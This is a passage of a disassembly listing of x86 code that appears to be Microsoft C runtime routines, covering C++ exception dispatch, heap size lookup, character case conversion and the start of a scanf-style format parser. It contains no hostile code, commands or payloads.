loc_41AE51: ; CODE XREF: sub_41AE20+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_416183
add esp, 14h
mov esi, eax
loc_41AE6D: ; CODE XREF: sub_41AE20+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_41AEC4
cmp edi, [esi]
jl short loc_41AEBC
cmp edi, [esi+4]
jg short loc_41AEBC
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_41AE96
cmp byte ptr [ecx+8], 0
jnz short loc_41AEBC
loc_41AE96: ; CODE XREF: sub_41AE20+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41AFD9
add esp, 2Ch
loc_41AEBC: ; CODE XREF: sub_41AE20+57j
; sub_41AE20+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_41AE6D
; ---------------------------------------------------------------------------
loc_41AEC4: ; CODE XREF: sub_41AE20+2Fj
; sub_41AE20+53j
pop edi
pop esi
leave
retn
sub_41AE20 endp
; =============== S U B R O U T I N E =======================================
sub_41AEC8 proc near ; CODE XREF: sub_41AC79+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_41AF1F
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_41AF1F
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_41AEF9
add ecx, 8
push ecx
push edx
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_41AF1B
loc_41AEF9: ; CODE XREF: sub_41AEC8+1Fj
test byte ptr [esi], 2
jz short loc_41AF03
test byte ptr [edi], 8
jz short loc_41AF1B
loc_41AF03: ; CODE XREF: sub_41AEC8+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_41AF12
test byte ptr [edi], 1
jz short loc_41AF1B
loc_41AF12: ; CODE XREF: sub_41AEC8+43j
test al, 2
jz short loc_41AF1F
test byte ptr [edi], 2
jnz short loc_41AF1F
loc_41AF1B: ; CODE XREF: sub_41AEC8+2Fj
; sub_41AEC8+39j ...
xor eax, eax
jmp short loc_41AF22
; ---------------------------------------------------------------------------
loc_41AF1F: ; CODE XREF: sub_41AEC8+Bj
; sub_41AEC8+14j ...
push 1
pop eax
loc_41AF22: ; CODE XREF: sub_41AEC8+55j
pop edi
pop esi
retn
sub_41AEC8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AF25 proc near ; CODE XREF: sub_41ABDE+34p
; sub_41AFD9+42p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421828
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_41AF57: ; CODE XREF: sub_41AF25+8Aj
cmp esi, [ebp+arg_C]
jz short loc_41AFB1
cmp esi, 0FFFFFFFFh
jle short loc_41AF66
cmp esi, [edi+4]
jl short loc_41AF6B
loc_41AF66: ; CODE XREF: sub_41AF25+3Aj
call sub_41B482
loc_41AF6B: ; CODE XREF: sub_41AF25+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_41AF86
push 103h
push ebx
push eax
call sub_41B3E0
loc_41AF86: ; CODE XREF: sub_41AF25+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41AFA6
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_41AFC3
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_41AFA6: ; CODE XREF: sub_41AF25+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_41AF57
; ---------------------------------------------------------------------------
loc_41AFB1: ; CODE XREF: sub_41AF25+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41AF25 endp
; =============== S U B R O U T I N E =======================================
sub_41AFC3 proc near ; CODE XREF: sub_41AF25+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_41AFD4
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41AFD4: ; CODE XREF: sub_41AFC3+Cj
jmp sub_41B42C
sub_41AFC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AFD9 proc near ; CODE XREF: sub_41AC79+151p
; sub_41AE20+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_41AFFB
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_41B18A
add esp, 10h
loc_41AFFB: ; CODE XREF: sub_41AFD9+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_41B007
push edi
jmp short loc_41B00A
; ---------------------------------------------------------------------------
loc_41B007: ; CODE XREF: sub_41AFD9+29j
push [ebp+arg_24]
loc_41B00A: ; CODE XREF: sub_41AFD9+2Cj
call sub_415F5C
mov esi, [ebp+arg_1C]
push dword ptr [esi]
push [ebp+arg_10]
push [ebp+arg_C]
push edi
call sub_41AF25
mov eax, [esi+4]
push 100h
push [ebp+arg_20]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push [ebp+arg_10]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_41B054
add esp, 2Ch
test eax, eax
jz short loc_41B04F
push edi
push eax
call sub_415F1A
loc_41B04F: ; CODE XREF: sub_41AFD9+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41AFD9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B054 proc near ; CODE XREF: sub_41AFD9+63p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421838
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_46B6B0
mov [ebp+var_1C], ecx
mov ecx, dword_46B6B4
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_46B6B0, edi
mov ecx, [ebp+arg_8]
mov dword_46B6B4, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_415FE1
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_41B11A
mov eax, [ebp+var_2C]
loc_41B0E1: ; CODE XREF: sub_41B0FA+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41B054 endp
; =============== S U B R O U T I N E =======================================
sub_41B0F0 proc near ; DATA XREF: seg001:00421848o
push dword ptr [ebp-14h]
call sub_41B160
pop ecx
retn
sub_41B0F0 endp
; =============== S U B R O U T I N E =======================================
sub_41B0FA proc near ; DATA XREF: seg001:0042184Co
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_416242
pop ecx
pop ecx
xor eax, eax
jmp short loc_41B0E1
sub_41B0FA endp
; ---------------------------------------------------------------------------
loc_41B112: ; DATA XREF: seg001:00421840o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_41B11A proc near ; CODE XREF: sub_41B054+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_46B6B0, eax
mov eax, [ebp-20h]
mov dword_46B6B4, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_41B15F
cmp dword ptr [edi+10h], 3
jnz short locret_41B15F
cmp dword ptr [edi+14h], 19930520h
jnz short locret_41B15F
cmp [ebp-24h], ebx
jnz short locret_41B15F
cmp [ebp-2Ch], ebx
jz short locret_41B15F
call sub_4162AA
push eax
push edi
call sub_41B34E
pop ecx
pop ecx
locret_41B15F: ; CODE XREF: sub_41B11A+1Cj
; sub_41B11A+22j ...
retn
sub_41B11A endp
; =============== S U B R O U T I N E =======================================
sub_41B160 proc near ; CODE XREF: sub_41B0F0+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41B187
cmp dword ptr [eax+10h], 3
jnz short loc_41B187
cmp dword ptr [eax+14h], 19930520h
jnz short loc_41B187
cmp dword ptr [eax+1Ch], 0
jnz short loc_41B187
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41B187: ; CODE XREF: sub_41B160+Cj
; sub_41B160+12j ...
xor eax, eax
retn
sub_41B160 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B18A proc near ; CODE XREF: sub_41AFD9+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421850
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_41B333
cmp byte ptr [eax+8], 0
jz loc_41B333
mov eax, [ecx+8]
test eax, eax
jz loc_41B333
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_41B227
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_41E802
pop ecx
pop ecx
test eax, eax
jz loc_41B32A
push 1
push edi
call sub_41E81E
pop ecx
pop ecx
test eax, eax
jz loc_41B32A
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_41B218: ; CODE XREF: sub_41B18A+F5j
push eax
call sub_41B3B5
pop ecx
pop ecx
mov [edi], eax
jmp loc_41B32F
; ---------------------------------------------------------------------------
loc_41B227: ; CODE XREF: sub_41B18A+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_41B281
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_41E802
pop ecx
pop ecx
test eax, eax
jz loc_41B32A
push 1
push edi
call sub_41E81E
pop ecx
pop ecx
test eax, eax
jz loc_41B32A
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_416320
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_41B32F
mov eax, [edi]
test eax, eax
jz loc_41B32F
add esi, 8
push esi
jmp short loc_41B218
; ---------------------------------------------------------------------------
loc_41B281: ; CODE XREF: sub_41B18A+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_41B2C9
call sub_41E802
pop ecx
pop ecx
test eax, eax
jz loc_41B32A
push 1
push edi
call sub_41E81E
pop ecx
pop ecx
test eax, eax
jz short loc_41B32A
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_41B3B5
pop ecx
pop ecx
push eax
push edi
call sub_416320
add esp, 0Ch
jmp short loc_41B32F
; ---------------------------------------------------------------------------
loc_41B2C9: ; CODE XREF: sub_41B18A+103j
call sub_41E802
pop ecx
pop ecx
test eax, eax
jz short loc_41B32A
push 1
push edi
call sub_41E81E
pop ecx
pop ecx
test eax, eax
jz short loc_41B32A
push dword ptr [esi+18h]
call sub_41E83A
pop ecx
test eax, eax
jz short loc_41B32A
test byte ptr [esi], 4
jz short loc_41B310
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_41B3B5
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_415F55
jmp short loc_41B32F
; ---------------------------------------------------------------------------
loc_41B310: ; CODE XREF: sub_41B18A+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_41B3B5
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_415F4E
jmp short loc_41B32F
; ---------------------------------------------------------------------------
loc_41B32A: ; CODE XREF: sub_41B18A+6Aj
; sub_41B18A+7Cj ...
call sub_41B482
loc_41B32F: ; CODE XREF: sub_41B18A+98j
; sub_41B18A+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_41B333: ; CODE XREF: sub_41B18A+2Ej
; sub_41B18A+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41B18A endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41B42C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B34E proc near ; CODE XREF: sub_41AC79+170p
; sub_41B11A+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421860
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_41B395
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_41B395
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_415F4E
or [ebp+var_4], 0FFFFFFFFh
loc_41B395: ; CODE XREF: sub_41B34E+2Aj
; sub_41B34E+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41B34E endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41B42C
; =============== S U B R O U T I N E =======================================
sub_41B3B5 proc near ; CODE XREF: sub_41B18A+8Fp
; sub_41B18A+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_41B3D6
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_41B3D6: ; CODE XREF: sub_41B3B5+12j
pop esi
retn
sub_41B3B5 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B3E0 proc near ; CODE XREF: sub_415FE1+40p
; sub_41AF25+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_4162CD
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_41B41F
mov ecx, 2
loc_41B41F: ; CODE XREF: sub_41B3E0+38j
push ecx
call sub_4162CD
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_41B3E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B42C proc near ; CODE XREF: sub_41AC79:loc_41AE1Bj
; sub_41AFC3:loc_41AFD4j ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0041E852 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421870
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_46B6BC
test eax, eax
jz short loc_41B474
mov [ebp+var_4], 1
call eax
jmp short loc_41B470
; ---------------------------------------------------------------------------
loc_41B469: ; DATA XREF: seg001:00421880o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41B46D: ; DATA XREF: seg001:00421884o
mov esp, [ebp+var_18]
loc_41B470: ; CODE XREF: sub_41B42C+3Bj
and [ebp+var_4], 0
loc_41B474: ; CODE XREF: sub_41B42C+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_41B47D: ; DATA XREF: seg001:00421878o
jmp loc_41E852
sub_41B42C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B482 proc near ; CODE XREF: sub_416183+23p
; sub_416183:loc_4161EEp ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421888
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43A2A4
test eax, eax
jz short loc_41B4CA
mov [ebp+var_4], 1
call eax ; sub_41B42C
jmp short loc_41B4C6
; ---------------------------------------------------------------------------
loc_41B4BF: ; DATA XREF: seg001:00421898o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
loc_41B4C6: ; CODE XREF: sub_41B482+3Bj
and [ebp+var_4], 0
loc_41B4CA: ; CODE XREF: sub_41B482+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_41B4D3: ; DATA XREF: seg001:00421890o
jmp sub_41B42C
sub_41B482 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B4D8 proc near ; CODE XREF: sub_416663+7p
; sub_416663+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_46CCA8
push esi
cmp eax, 3
jnz short loc_41B501
mov esi, [ebp+arg_0]
push esi
call sub_418CBD
test eax, eax
pop ecx
jz short loc_41B4FE
mov eax, [esi-4]
sub eax, 9
jmp short loc_41B536
; ---------------------------------------------------------------------------
loc_41B4FE: ; CODE XREF: sub_41B4D8+1Cj
push esi
jmp short loc_41B528
; ---------------------------------------------------------------------------
loc_41B501: ; CODE XREF: sub_41B4D8+Ej
cmp eax, 2
jnz short loc_41B525
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_419A18
add esp, 0Ch
test eax, eax
jz short loc_41B525
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_41B536
; ---------------------------------------------------------------------------
loc_41B525: ; CODE XREF: sub_41B4D8+2Cj
; sub_41B4D8+43j
push [ebp+arg_0]
loc_41B528: ; CODE XREF: sub_41B4D8+27j
push 0
push dword_46CCA4
call dword_42118C ; RtlSizeHeap
loc_41B536: ; CODE XREF: sub_41B4D8+24j
; sub_41B4D8+4Bj
pop esi
leave
retn
sub_41B4D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B539 proc near ; CODE XREF: sub_416728+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_46B6CC, 0
push ebx
jnz short loc_41B564
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_41B602
cmp eax, 7Ah
jg loc_41B602
sub eax, 20h
jmp loc_41B602
; ---------------------------------------------------------------------------
loc_41B564: ; CODE XREF: sub_41B539+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_41B597
cmp dword_43812C, 1
jle short loc_41B584
push 2
push ebx
call sub_418576
pop ecx
pop ecx
jmp short loc_41B58F
; ---------------------------------------------------------------------------
loc_41B584: ; CODE XREF: sub_41B539+3Dj
mov eax, off_437F20
mov al, [eax+ebx*2]
and eax, 2
loc_41B58F: ; CODE XREF: sub_41B539+49j
test eax, eax
jnz short loc_41B597
loc_41B593: ; CODE XREF: sub_41B539+AFj
mov eax, ebx
jmp short loc_41B602
; ---------------------------------------------------------------------------
loc_41B597: ; CODE XREF: sub_41B539+34j
; sub_41B539+58j
mov edx, off_437F20
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41B5BA
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_41B5C3
; ---------------------------------------------------------------------------
loc_41B5BA: ; CODE XREF: sub_41B539+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_41B5C3: ; CODE XREF: sub_41B539+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_46B6CC
call sub_41C639
add esp, 20h
test eax, eax
jz short loc_41B593
cmp eax, 1
jnz short loc_41B5F5
movzx eax, [ebp+var_4]
jmp short loc_41B602
; ---------------------------------------------------------------------------
loc_41B5F5: ; CODE XREF: sub_41B539+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41B602: ; CODE XREF: sub_41B539+14j
; sub_41B539+1Dj ...
pop ebx
leave
retn
sub_41B539 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B605 proc near ; CODE XREF: sub_416947+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_41C00B
mov edi, [ebp+arg_0]
jmp short loc_41B634
; ---------------------------------------------------------------------------
loc_41B62F: ; CODE XREF: sub_41B605+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_41B634: ; CODE XREF: sub_41B605+28j
cmp dword_43812C, 1
jle short loc_41B64C
movzx eax, al
push 8
push eax
call sub_418576
pop ecx
pop ecx
jmp short loc_41B65B
; ---------------------------------------------------------------------------
loc_41B64C: ; CODE XREF: sub_41B605+36j
mov ecx, off_437F20
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_41B65B: ; CODE XREF: sub_41B605+45j
cmp eax, ebx
jz short loc_41B695
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_41C092
pop ecx
pop ecx
push eax
call sub_41C07B
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41E931
add esp, 0Ch
loc_41B683: ; CODE XREF: sub_41B605+8Ej
test eax, eax
jz short loc_41B695
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41E931
pop ecx
jmp short loc_41B683
; ---------------------------------------------------------------------------
loc_41B695: ; CODE XREF: sub_41B605+58j
; sub_41B605+80j
cmp byte ptr [esi], 25h
jnz loc_41BF77
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_41B6CC: ; CODE XREF: sub_41B605+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_43812C, 1
jle short loc_41B6E9
movzx eax, bl
push 4
push eax
call sub_418576
pop ecx
pop ecx
jmp short loc_41B6F8
; ---------------------------------------------------------------------------
loc_41B6E9: ; CODE XREF: sub_41B605+D3j
mov ecx, off_437F20
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41B6F8: ; CODE XREF: sub_41B605+E2j
test eax, eax
jz short loc_41B70E
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_41B773
; ---------------------------------------------------------------------------
loc_41B70E: ; CODE XREF: sub_41B605+F5j
cmp ebx, 4Eh
jg short loc_41B751
jz short loc_41B773
cmp ebx, 2Ah
jz short loc_41B74C
cmp ebx, 46h
jz short loc_41B773
cmp ebx, 49h
jz short loc_41B72E
cmp ebx, 4Ch
jnz short loc_41B760
inc [ebp+var_D]
jmp short loc_41B773
; ---------------------------------------------------------------------------
loc_41B72E: ; CODE XREF: sub_41B605+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_41B760
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_41B760
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_41B773
; ---------------------------------------------------------------------------
loc_41B74C: ; CODE XREF: sub_41B605+113j
inc [ebp+var_E]
jmp short loc_41B773
; ---------------------------------------------------------------------------
loc_41B751: ; CODE XREF: sub_41B605+10Cj
cmp ebx, 68h
jz short loc_41B76D
cmp ebx, 6Ch
jz short loc_41B765
cmp ebx, 77h
jz short loc_41B768
loc_41B760: ; CODE XREF: sub_41B605+122j
; sub_41B605+12Dj ...
inc [ebp+var_F]
jmp short loc_41B773
; ---------------------------------------------------------------------------
loc_41B765: ; CODE XREF: sub_41B605+154j
inc [ebp+var_D]
loc_41B768: ; CODE XREF: sub_41B605+159j
inc [ebp+var_5]
jmp short loc_41B773
; ---------------------------------------------------------------------------
loc_41B76D: ; CODE XREF: sub_41B605+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_41B773: ; CODE XREF: sub_41B605+107j
; sub_41B605+10Ej ...
cmp [ebp+var_F], 0
jz loc_41B6CC
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_41B798
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_41B798: ; CODE XREF: sub_41B605+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_41B7B6
mov al, [esi]
cmp al, 53h
jz short loc_41B7B2
cmp al, 43h
jz short loc_41B7B2
or [ebp+var_5], 0FFh
jmp short loc_41B7B6
; ---------------------------------------------------------------------------
loc_41B7B2: ; CODE XREF: sub_41B605+1A1j
; sub_41B605+1A5j
mov [ebp+var_5], 1
loc_41B7B6: ; CODE XREF: sub_41B605+19Bj
; sub_41B605+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_41B7EF
cmp esi, 63h
jz short loc_41B7E0
cmp esi, 7Bh
